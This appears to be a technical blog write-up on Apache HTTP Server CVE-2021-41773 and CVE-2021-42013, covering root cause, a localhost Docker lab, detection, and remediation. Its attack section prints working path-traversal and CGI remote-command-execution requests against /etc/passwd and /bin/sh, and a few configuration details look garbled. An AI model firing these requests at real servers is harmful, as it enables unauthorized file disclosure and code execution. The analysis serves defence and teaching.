

Technical Blog: Deconstructing CVE-2021-41773 & CVE-2021-42013

Apache HTTP Server Path Traversal & Remote Code Execution

Author: Cybersecurity R&D & Lab Development Intern

Date: September 2026

Target Vulnerabilities: CVE-2021-41773 & CVE-2021-42013 (Apache HTTP Server 2.4.49 / 2.4.50)

Severity: Critical (CVSS v3.1: 9.8)

1. What the Vulnerability Is

In October 2021, Apache HTTP Server released emergency security advisories for two critical vulnerabilities affecting versions 2.4.49 (**CVE-2021-41773**) and 2.4.50 (**CVE-2021-42013**). Rated **CVSS 9.8 (Critical)**, these flaws allowed unauthenticated remote attackers to perform path traversal across the filesystem and read arbitrary sensitive files outside the configured web document root.

Furthermore, when the Apache server was configured with `mod_cgi` enabled (or `mod_cgid`), attackers could route traversal requests directly into executable system shells such as `/bin/sh`. By passing command payloads in the HTTP POST body, this path traversal flaw escalated directly into unauthenticated **Remote Code Execution (RCE)**.

Because Apache HTTP Server powers a substantial portion of global web infrastructure, and because exploitation required no privileges or user interaction, malicious actors began mass-scanning and active exploitation within hours of public disclosure.

2. Why It Occurs (Root Cause Analysis)

The root cause resides in `ap_normalize_path()`, a core path sanitization function located in `server/util.c`. The purpose of `ap_normalize_path()` is to resolve relative directory segments (such as `/a/b/../../c`) into absolute, normalized paths (`/a/c`) and prevent directory traversal out of permitted boundaries.

The Single-Pass Decoding Flaw (CVE-2021-41773)

In Apache 2.4.49, changes introduced to `ap_normalize_path()` altered the order of operations:

1. The function evaluated incoming URI segments for dot-dot (`..`) traversal sequences.
1. It then decoded URL percent-encoded characters (converting `%2e` into `.`).
1. **The Flaw:** Crucially, after decoding `%2e` into `.`, the function failed to re-evaluate the segment for directory traversal.

As a result, a crafted segment like `..%2e` was decoded internally to `..`, but because the traversal check had already passed, Apache treated `..` as a legitimate directory name rather than a traversal directive. This allowed requests containing `/%2e/%2e%2e/` to step upwards out of the document root.

The Incomplete Fix & Bypass (CVE-2021-42013)

Apache 2.4.50 attempted to patch CVE-2021-41773 by explicitly blocking paths containing literal `%2e` sequences. However, this fix performed only a single pass of URL decoding. Attackers quickly discovered that double-percent-encoding bypassed this check:

- `%` can be encoded as `%25` or hex-encoded as `%32%65`.
- Passing `..%32%65` or `..%252e` bypassed the single-pass `%2e` check, but during final request processing, secondary decoding expanded the string into `..`.

Full remediation was achieved in **Apache 2.4.51** by enforcing complete multi-pass recursive decoding before performing any traversal path validation.

Required Misconfiguration

Path traversal discloses files only if filesystem access control permits it. In Apache, access to the root directory is controlled by `.`. The default Apache configuration sets `Require all denied`.

However, in practice, many administrators overwrite this with `Require all granted` to resolve access errors, unwittingly exposing the entire system to traversal.

3. How It Can Be Reproduced (Lab Setup)

To safely research and demonstrate this vulnerability without exposing live systems, we built an isolated, containerized lab environment using Docker Compose binding exclusively to `127.0.0.1`.

Environment Components:

- **Vulnerable Container:** Running `httpd:2.4.49` on `http://127.0.0.1:8080`, with `mod_cgi` enabled and `Require all granted`.
- **Patched Container:** Running `httpd:2.4.51` on `http://127.0.0.1:8081`, with hardened directory access controls.

Quick Reproduction Steps:

```
# 1. Build and launch isolated containers
docker compose up -d

# 2. Reproduce Path Traversal (Read /etc/passwd)
python scripts/validate_traversal.py --url http://127.0.0.1:8080

# 3. Reproduce CGI Remote Code Execution (Run 'id' command)
python scripts/validate_cgi_handling.py --url http://127.0.0.1:8080 --cmd "id"
```

4. Technical Details of the Attack

Attack Vector 1: Arbitrary File Disclosure (Path Traversal)

An attacker crafts an HTTP `GET` request targeting an alias directory (such as `/icons/` or `/cgi-bin/`) followed by URL-encoded dot segments:

```
GET /icons/.%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0
```

1. Apache matches `/icons/` to its configured alias directory (`/usr/local/apache2/icons/`).
1. `ap_normalize_path()` decodes `.%2e/%2e%2e/%2e%2e` to `../../../../`.
1. The normalized path resolves to `/etc/passwd`.
1. Because `Options +FollowSymLinks` allows access, Apache returns HTTP 200 OK with the contents of `/etc/passwd`.

Attack Vector 2: Remote Code Execution (RCE via CGI)

When `mod_cgi` is loaded and `ScriptAlias /cgi-bin/` is configured, traversal can target system binaries such as `/bin/sh`:

```
POST /cgi-bin/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo; id
```

1. The request path resolves via traversal to `/bin/sh`.
1. Apache recognizes the request as originating from a `ScriptAlias` path and hands execution over to `mod_cgi`.
1. `mod_cgi` executes `/bin/sh`, passing the HTTP POST body directly to `stdin`.
1. The output (`uid=1(daemon) gid=1(daemon)`) is returned in the HTTP response body.

5. Detection

Effective detection requires combining passive banner checks with active non-destructive probing and log monitoring.

Defensive Scanner (`scripts/detect\_cve.py`)

We implemented a two-phase python scanner:

- **Phase 1 (Banner Check):** Inspects the HTTP `Server:` header (e.g., `Apache/2.4.49`).
- **Phase 2 (Active Probe):** Sends a non-destructive path traversal request targeting a standard non-sensitive file (`/etc/issue`).
- **Verdict Logic:**
 - **HTTP 200 + File Content:** `VULNERABLE` (Exit Code 1)
 - **HTTP 400 / 403:** `PATCHED` / `SECURE` (Exit Code 0)

Log Indicators of Compromise (IOCs)

Security teams should monitor Apache access logs for raw or double-encoded traversal signatures:

```
GET /icons/.%2e/  
GET /icons/.%32%65/  
POST /cgi-bin/.%2e/.%2e/.%2e/bin/sh
```

6. Remediation

1. Primary Remediation: Upgrade Apache

Upgrade Apache HTTP Server to **2.4.51 or higher**. Version 2.4.51 enforces complete multi-pass URL decoding before path normalization.

```
# Debian / Ubuntu
```

```
sudo apt update && sudo apt install --only-upgrade apache2

# RedHat / CentOS
sudo yum update httpd
```

2. Defense-in-Depth Hardening

Apply strict filesystem access controls in `httpd.conf` :

```
# Deny filesystem access by default
<Directory />
    Require all denied
    Options None
    AllowOverride None
</Directory>

# Grant access strictly to the web root
<Directory "/var/www/html">
    Require all granted
</Directory>

# Suppress version disclosures
ServerTokens Prod
ServerSignature Off
```

7. Key Takeaways

1. **Input Normalization Order Matters:** Sanitization functions must decode all layers of encoding *before* applying path traversal or canonicalization checks.
 1. **Beware of Single-Pass Filters:** Ad-hoc patches targeting specific encoding patterns (like single `%2e`) frequently fail against multi-layer double-encoding attacks.
 1. **Enforce Defense-in-Depth:** A secure default directory policy (`Require all denied`) prevents path traversal from escalating to file disclosure, even if a URL parsing bug exists in the web server core.
-

References & Credit

- **Apache Security Advisory:** https://httpd.apache.org/security/vulnerabilities_24.html
- **NVD CVE-2021-41773:** <https://nvd.nist.gov/vuln/detail/CVE-2021-41773>
- **NVD CVE-2021-42013:** <https://nvd.nist.gov/vuln/detail/CVE-2021-42013>
- **CISA Advisory AA21-281A:** <https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-281a>
- **Qualys Vulnerability Research:** <https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution>